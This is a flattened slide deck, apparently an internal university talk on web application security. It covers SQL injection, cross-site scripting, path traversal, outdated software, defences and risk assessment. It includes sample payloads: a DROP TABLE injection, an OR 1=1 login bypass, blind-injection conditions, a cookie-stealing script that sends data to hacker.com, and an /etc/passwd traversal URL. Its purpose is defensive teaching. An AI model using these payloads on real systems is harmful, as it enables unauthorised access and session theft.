Background - Incidence of common vulnerabilities Broken authentication – 67% Broken access controls – 78% SQL injection – 36% Cross-site scripting – 91% Information leakage – 81% (source – Web Application Hackers Handbook)
Background – Mass exploits November 2007 – yl18.net –40,000 websites –http://isc.sans.org/diary.html?storyid=3621http://isc.sans.org/diary.html?storyid=3621 –Including January uc8010.com –70,000 websites –Including ? –http://isc.sans.org/diary.html?storyid=3823http://isc.sans.org/diary.html?storyid=3823
Background - UoR Web defacements Freshers Week 2007 –www.careers.reading.ac.uk defacedwww.careers.reading.ac.uk –code own3d by UGUR238 appearing everywhere 30 th October –www.launchpad.reading.ac.uk defacedwww.launchpad.reading.ac.uk –ownz ya baby 19 th November 2007 –www.reading.ac.uk/moneymatters (a.k.a. defacedwww.reading.ac.uk/moneymatters –Hooked by cyber_zook Weve been lucky!
Vulnerabilities - SQL Injection - Cartoon Consider the cartoon. What if the web app used the following SQL query? SELECT * FROM Students WHERE (status = active AND name=$name) Little Bobby Tables has just made $name = Robert); DROP TABLE Students;-- So the query becomes SELECT * FROM Students WHERE (account=active AND name=Robert); DROP TABLE Students;-- ) Oops!
Vulnerabilities – SQL Injection - Authentication What about SELECT * FROM Users WHERE username=$username AND password=$password ? I found three different UoR websites where a password of OR 1=1 logged me in (as an Administrator in two of the cases!) –… AND password= OR 1=1 –One using MS SQL Server (ASP, commercial), one MS Access (ASP, consultancy) and one MySQL (PHP, home- grown)
Vulnerabilities - SQL Injection – Mass Exploits HTTP Request was GET Which decodes as name+'))+'' '';' from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set
Vulnerabilities - Advanced SQL Injection Blind SQL Injection –Just needs to produce a different result depending on whether the given condition is true or false WebCMS was vulnerable –/nmsruntime/saveasdialog.asp?lID=14531%20and%201=1&sI D=22059 gave a different answer (downloaded the file) to –/nmsruntime/saveasdialog.asp?lID=14531%20and%201=2&sI D=22059 (gave an error) Automated tools can potentially retrieve (slowly) everything in the database –Queries like … AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username=admin) > 78
Vulnerabilities - Advanced SQL Injection [*] starting at: 22:00:56 [22:01:03] [WARNING] the remote DMBS is not MySQL [22:01:04] [WARNING] the remote DMBS is not Oracle [22:01:04] [WARNING] the remote DMBS is not PostgreSQL remote DBMS: Microsoft SQL Server Database: ae400_readingdev [163 tables] | ACTIVATION | | AEMA_PAGE_AC_COST | | AEMA_PAGE_AC_COST_VALUES | | AEMA_PAGE_AC_ROOMTERM | | AEMA_PAGE_AC_ROOMTERM_VALUES | | AEMA_PAGE_AC_TYPE | | AEMA_PAGE_AC_TYPE_VALUES | | WORKFLOW | | WORKFLOW_USERS | [*] shutting down at: 00:16:21
Vulnerabilities – Cross-Site Scripting Typical problem is in search pages or error pages …/Search.asp?search-term= … –You searched for alert(document.cookie) …/Login.php?user= … –User var i=new Image; i.src=hxxp://hacker.com/+document.cookie does not exist Can also happen by POST (form submission) but harder to exploit These are Reflected or Class 1 XSS.
Vulnerabilities – Outdated applications E.g. Wordpress, phpBB, Joomla Google Hacking –Find old vulnerable versions of well-known applications –E.g. site:rdg.ac.uk inurl:wp-login.php –See for more...http://johnny.ihackstuff.com/ghdb.php Even security professionals not immune - ess-cookie-authentication-vulnerability/ ess-cookie-authentication-vulnerability/ Watch out for plugins as they may be less well- written Essential to keep applications up-to-date!
Vulnerabilities – Old versions and source code Dont keep old (potentially insecure) version of scripts lying around –Hackers will try index.php.bak and default2.asp –If you must keep old versions online, pick a naming scheme that is unlikely to be guessed search cdw.asp –If you change the file extension, the server may hand out your actual code! Deny access to source and backup directories –Preferably keep them out of the web root altogether
Vulnerabilities - others Other injection flaws –Command injection (can run OS commands) –Script injection (exec/eval/include commands in scripts) –HTTP header (CRLF) injection (anything the client sends you that ends up in the header, especially cookies and redirects) –SMTP/LDAP/XPATH/SOAP … Path traversal –http://myapp.reading.ac.uk/display.php?file=../../../../etc/passw d Buffer overflows –Dont rely on or size=xxx …
Defences – Fix apps Sanitise anything you get and use from the user –Including hidden fields, cookies, user-agent etc. –Dont assume theyll obey things like length-restrictions If possible, restrict to known good rather than trying to exclude bad things –E.g. if your application takes an integer as an argument, reject anything that isnt an integer –Be careful not to throw out the baby with the bathwater, though We probably dont want to exclude people of Irish ancestry from receiving the University prospectus – e.g. OConnor Parameterise SQL queries (if necessary) HTML-Encode anything you output –htmlencode($string) in PHP –Server.HTMLencode(string) in ASP
Defences – Fix apps – Validate input ASP Public Function ValidateInput(ByVal sInput, ByVal sPattern) Dim reValid Set reValid = New RegExp reValid.Pattern = sPattern reValid.Global = True ValidateInput = reValid.Test(sInput) Set reValid = Nothing End Function If not ValidateInput(strid, "^[0-9]+$") then strid="1" End If PHP If (!preg_match("/^[0-9]+$/",$strid)) $strid="1" ;
Defences - Fix apps - Parameterise queries PHP $sql = $db_connection->prepare( SELECT * FROM users WHERE username = ? AND password = ? ); $sql->bind_param( ss, $username, $password); $sql->execute(); ASP Set dbCommand = Server.CreateObject("ADODB.Command") Set dbCommand.ActiveConnection = dbConnection dbCommand.CommandType = adCmdText dbCommand.CommandText = "SELECT * FROM users WHERE username=? and password=? dbCommand.Parameters.Append (dbCommand.CreateParameter("username", adChar, adParamInput, Len(username), username)) dbCommand.Parameters.Append (dbCommand.CreateParameter("pwd", adChar, adParamInput, Len(pwd), pwd)) Set rs = dbCommand.Execute
Defences - Minimal permissions Each application should have its own database account(s) –Account should have read-only privileges unless the application modifies the data –Use separate account for admin write access if possible –Dont be DBA (even to just make things work) Use access restrictions (.htaccess etc.) to restrict admin functionality to trusted networks/users Web servers shouldnt run as root/local system/administrator or as the same user as the database –May be an idea to run the database on a different server altogether Use strong passwords (and password policies) –Use password hashes where possible
Defences - Policies We should aim to not be the low-hanging fruit Move the fruit further up the tree by –Requiring authentication –Restricting access to those on campus where possible Shake the tree ourselves and see what falls out –Then fix it Hackers with ladders/cherry-pickers/chainsaws will probably beat us! –But were not a bank, so hopefully they wont bother
Defences - Policies A single Nessus Scan no longer sufficient –Websites change –Nessus not really suited to testing web applications We need a policy of systematic testing –When a request for a database is made –When a web application is installed or changed –Periodic automated testing? Try to consolidate to central services where possible –Do we need 10 different Wordpress installations?
Defences - Policies Web applications need to be properly resourced and maintained (static pages are probably OK) Consultancy & commercial –Cant just pay a consultant to develop it and forget about it –Need support contract Home-grown –What if the original author leaves? Open-source –Keep up-to-date with latest releases and patches –What if its no longer maintained?
Defences - Security Scans Historically we scanned new websites with Nessus –Not particularly aimed at web-application security problems Doesnt do spidering so will only find problems in obvious places –We only scanned once (and reserved the right to rescan later) –Nessus is free! Web Security Scanners –Commercial ones are expensive £ £30000! WebInspect, AppScan, Acunetix … –Can still have problems with false positives –Will still miss some of the obvious vulnerabilities –Probably can be used for automated and first-glance checks
Defences - Free testing tools Paros Proxy (http://www.parosproxy.org/ )http://www.parosproxy.org/ –Good point & click tool – a bit lacking in documentation –Will find the simplest XSS and SQL injection flaws Burp Suite (http://www.portswigger.net/suite/ )http://www.portswigger.net/suite/ –More sophisticated tools to assist the penetration tester Acunetix Free Edition (http://www.acunetix.com )http://www.acunetix.com –Restricted version of commercial scanner; just finds XSS Nikto (http://www.cirt.net )http://www.cirt.net –Perl script to look for common vulnerabilities WebGoat (http://www.owasp.org/ )http://www.owasp.org/ –Training application for pen testers (can you buy the HDTV for 0$?)
Defences - Web Application Firewall Mod_security for Apache (http://www.modsecurity.org )http://www.modsecurity.org –Main Apache server is acting as reverse proxy for WebCMS –Can block things like XSS and SQL injection attacks –Customisable Core Ruleset provided Custom rules can protect particular applications –Provides an audit trail Free console application (for up to 3 servers) –Currently running in Log only mode (on all virtual hosts) –Can proxy by making DNS point to Apachewww.xyz.rdg.ac.uk But may need different URL for editing –Risk of false positives (we have a very varied website)
Risk Assessment SQL Injection in SQL Server or MySQL –High risk –Actively targeted by automated attacks –Potential to affect other apps sharing the same database server SQL Injection in MS Access –Medium risk –Less likely to be compromised by an automated attack –Determined hacker could probably modify the database and insert malicious code
Risk Assessment Reflected XSS –Low to medium risk –Important on sites with authentication (Blackboard, RISIS, Trent etc.) where session tokens could be stolen Outdated well-known applications –Could be a high risk –Automated attacks via Google Hacking
Conclusion Web application security now a hot topic Automated attacks occurring constantly Need to fix home-grown scripts and applications Need to keep third-party applications up-to-date Need to ensure proper resources for maintenance Need policies to keep track